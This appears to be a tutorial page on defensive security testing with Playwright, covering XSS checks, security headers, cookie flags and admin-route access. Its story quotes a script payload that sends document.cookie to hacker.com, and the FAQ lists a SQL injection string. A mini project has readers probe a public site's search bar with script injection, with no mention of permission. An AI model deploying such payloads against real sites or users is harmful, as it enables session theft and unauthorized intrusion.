Security Testing — The Digital Vault
The UI can look perfect while a hacker steals your data. Learn how to use Playwright to test for XSS vulnerabilities, enforce HTTP security headers, and verify secure cookie configurations.
📖 The Story: The Invisible Intruder
A social media startup launched a new "Bio" feature. Users could write a short description of themselves. The QA team tested it thoroughly: they typed text, checked the character limit, and verified it saved to the database. The UI looked perfect. They deployed.
Three days later, user accounts started being hijacked. The security team investigated. A malicious user had entered <script>fetch('https://hacker.com?cookie='+document.cookie)</script> into their Bio. When other users viewed the profile, the script executed silently in their browsers, stealing their session tokens.
The QA team hadn't tested for Cross-Site Scripting (XSS). They only tested "happy path" text. They assumed the frontend framework would sanitize everything automatically.
The next day, the QA lead wrote a Playwright test. It injected the malicious script payload into the Bio field, saved it, and then navigated to the public profile page. The test asserted that no <script> tags existed in the DOM. The test failed. The developers implemented a strict sanitization library. The test passed. The intruder was locked out.
A test that only checks if the app works is a gift to hackers. You must test that it fails securely.
🎯 Why Security Testing?
Prevent XSS
Verify that user inputs are sanitized and don't execute as scripts in the DOM.
Secure Cookies
Ensure session tokens are marked HttpOnly and Secure so they can't be stolen.
HTTP Headers
Enforce CSP, HSTS, and X-Frame-Options to prevent clickjacking and MITM attacks.
Auth Boundaries
Verify that standard users cannot access admin routes or API endpoints directly.
🌍 Real World Example
A developer removes the HttpOnly flag from the session cookie to debug a local issue and accidentally pushes the change to staging. Without security tests, this goes unnoticed. With Playwright, you can write a test that calls context.cookies() and asserts httpOnly: true. The test fails instantly in CI, blocking the deploy.
🧒 Explain Like I'm 10
Imagine your house has a front door (the UI) and a safe (the database). A normal test checks if you can walk through the front door and put money in the safe.
A security test checks if the door locks properly at night. It checks if someone can climb through the window (XSS). It checks if the safe has a combination lock (HttpOnly cookies), not just a piece of tape over the latch.
🎓 Professional Explanation
Playwright operates in a real browser environment, making it ideal for testing the OWASP Top 10 from a user's perspective. We can intercept network responses to verify HTTP security headers (Content-Security-Policy, Strict-Transport-Security). We can inspect the browser context to verify cookie attributes (Secure, HttpOnly, SameSite). Finally, we can inject malicious payloads into form fields and use page.evaluate() to verify the DOM did not execute them.
📊 Secure vs Insecure Flow
What Playwright Checks
Insecure (Vulnerable)
Secure (Tested)
🛡️ Testing HTTP Security Headers
Security headers tell the browser how to behave. Content-Security-Policy (CSP) prevents XSS by restricting where scripts can load from. Strict-Transport-Security (HSTS) forces HTTPS.
test('security headers are present', async ({ page }) => { let headers = {}; // Intercept the main document response page.on('response', async (response) => { if (response.url() === page.url() && response.status() === 200) { headers = await response.headers(); } }); await page.goto('https://your-app.com/'); // Assert CSP is present expect(headers['content-security-policy']).toBeDefined(); // Assert HSTS is present expect(headers['strict-transport-security']).toContain('max-age'); });
🍪 Verifying Cookie Attributes
Session cookies must be HttpOnly (inaccessible to JavaScript) and Secure (sent only over HTTPS).
test('session cookie is secure', async ({ page, context }) => { await page.goto('/login'); // ... perform login ... // Get cookies from the browser context const cookies = await context.cookies(); const sessionCookie = cookies.find(c => c.name === 'session_id'); // Assert the cookie is Secure and HttpOnly expect(sessionCookie.secure).toBe(true); expect(sessionCookie.httpOnly).toBe(true); // Assert SameSite is Strict or Lax (prevents CSRF) expect(['Strict', 'Lax']).toContain(sessionCookie.sameSite); });
Why context.cookies()? If a cookie is HttpOnly, page.evaluate(() => document.cookie) will return an empty string. Playwright's Context API reads the cookies directly from the browser network layer, bypassing the JavaScript sandbox, so you can verify HttpOnly attributes.
🦠 Testing for Cross-Site Scripting (XSS)
Inject a malicious payload and verify the application sanitizes it.
test('profile bio sanitizes XSS payloads', async ({ page) => { const xssPayload = '<img src=x onerror="window.__xss_executed=true">'; // 1. Inject the payload await page.goto('/settings'); await page.getByLabel('Bio').fill(xssPayload); await page.getByRole('button', { name: 'Save' }).click(); // 2. View the public profile await page.goto('/public-profile'); // 3. Verify the script did NOT execute const wasXssExecuted = await page.evaluate(() => window.__xss_executed === true); expect(wasXssExecuted).toBe(false); // 4. Verify the payload was escaped (displayed as text, not an image) const bioText = await page.getByTestId('bio-display').innerText(); expect(bioText).toContain('<img src=x onerror'); // Escaped as string });
⚠️ Common Mistakes
Mistake 1: Trusting the Framework
React and Vue automatically escape strings. But if a developer uses dangerouslySetInnerHTML or v-html, the framework's protection is bypassed. You must still test for XSS in user-generated content areas.
Mistake 2: Testing Auth Routes Only via UI
Don't just test that the "Admin" link is hidden from standard users. Test that if a standard user manually navigates to /admin via page.goto(), they are redirected to a 403 or Login page.
✅ Best Practices
- Run security tests on every PR. Security regressions are just as critical as functional bugs.
- Maintain a list of XSS payloads. Store them in a JSON file and loop through them in your tests.
- Verify
SameSitecookies.SameSite=Strictis the best defense against Cross-Site Request Forgery (CSRF). - Test API endpoints directly. Use the
requestfixture to ensure standard user tokens return 403 on admin endpoints.
🏗️ Senior Engineer Deep Dive
Content Security Policy (CSP) Bypasses
A strict CSP (default-src 'self') prevents inline scripts. However, if your app uses Angular or React, it often requires 'unsafe-inline' or nonces. Testing CSP in Playwright can be tricky because Playwright injects its own evaluation scripts. Ensure your CSP tests check the response headers, not just whether Playwright can execute page.evaluate() (which bypasses CSP because it's a privileged context).
Testing for CSRF
CSRF attacks trick a logged-in user into submitting a form to your site from a malicious site. To test this, you would need two Playwright contexts: Context A (logged in) and Context B (malicious site). Context B submits a form to Context A's domain. If the SameSite cookie is working, the browser will block the request.
💼 Interview Questions
Show Answer
await context.cookies() to retrieve all cookies for the current page. I find the specific cookie and assert that its httpOnly property is true. I cannot use document.cookie because the browser hides HttpOnly cookies from JavaScript.Show Answer
<img src=x onerror="...">) into a user input field. After saving and viewing the rendered output, I use page.evaluate() to check if the malicious script executed (e.g., checking a global flag). I also verify the DOM contains the escaped text, not an active HTML element.Show Answer
page.on('response'). When the main document response arrives, I capture the headers object and assert that the content-security-policy key exists and contains the expected directives (e.g., default-src 'self').Show Answer
context.cookies(), and asserts expect(cookie.secure).toBe(true). This test will fail in CI immediately after the developer pushes the change, blocking the merge.🏋️ Practical Exercise
Inspect Your Cookies
- Write a test that logs into a web application.
- Call
const cookies = await context.cookies(). - Print the cookies to the console using
console.log(cookies). - Check if the session cookie has
httpOnly: trueandsecure: true. If it doesn't, you've found a security bug!
🚀 Mini Project
🏗️ The XSS Shield
- Find a public site with a search bar that reflects the query in the URL (e.g.,
?q=test). - Write a test that navigates to
?q=<script>window.__pwned=true</script>. - Use
page.evaluate(() => window.__pwned)to check if the script executed. - Assert that the result is
undefined(meaning the site sanitized the input or used CSP).
📝 Quiz
Test your understanding. Click an option to check your answer.
page.cookies()context.cookies()page.evaluate(() => document.cookie)page.get_cookies()context.cookies() reads cookies from the network layer, exposing HttpOnly attributes.document.cookie to verify an HttpOnly cookie?document.cookie.Secure flag on a cookie enforce?Secure flag prevents the cookie from being transmitted over unencrypted HTTP.page.waitForTimeout to ensure it loads safely.<script> and assert the browser did not execute it.X-Frame-Options: DENY prevents the page from being embedded in an iframe.page.headers()page.on('response') and read the headers.document.headers in the DOM.context.securityHeaders().SameSite=Strict on cookiesSameSite=Strict prevents the browser from sending cookies in cross-site requests.<img src=x onerror=alert(1)> and the app displays it safely as text, what happened?< to <, rendering it as visible text instead of an HTML tag./admin?page.evaluate() respect the page's Content-Security-Policy (CSP)?force: true is used.❓ FAQ
Q: Can Playwright test for SQL Injection?
A: Indirectly. You can inject SQL payloads (like ' OR 1=1; --) into form fields. If the API returns a 500 error or dumps all users, the test fails. However, backend unit tests are better suited for SQL injection testing.
Q: How do I test OAuth flows securely?
A: Use Playwright to navigate to the OAuth provider (Google, GitHub), log in, and verify the callback. Ensure the state parameter is present and validated to prevent CSRF during the OAuth flow.
📦 Summary
🎯 Key Takeaways
- Test for XSS by injecting payloads and verifying the DOM doesn't execute them.
- Use
context.cookies()to verifyHttpOnly,Secure, andSameSiteattributes. - Intercept responses to assert HTTP security headers (CSP, HSTS, X-Frame-Options).
- Test AuthZ boundaries by navigating directly to admin routes as a standard user.
- Playwright bypasses CSP via
evaluate, so check headers to test CSP.
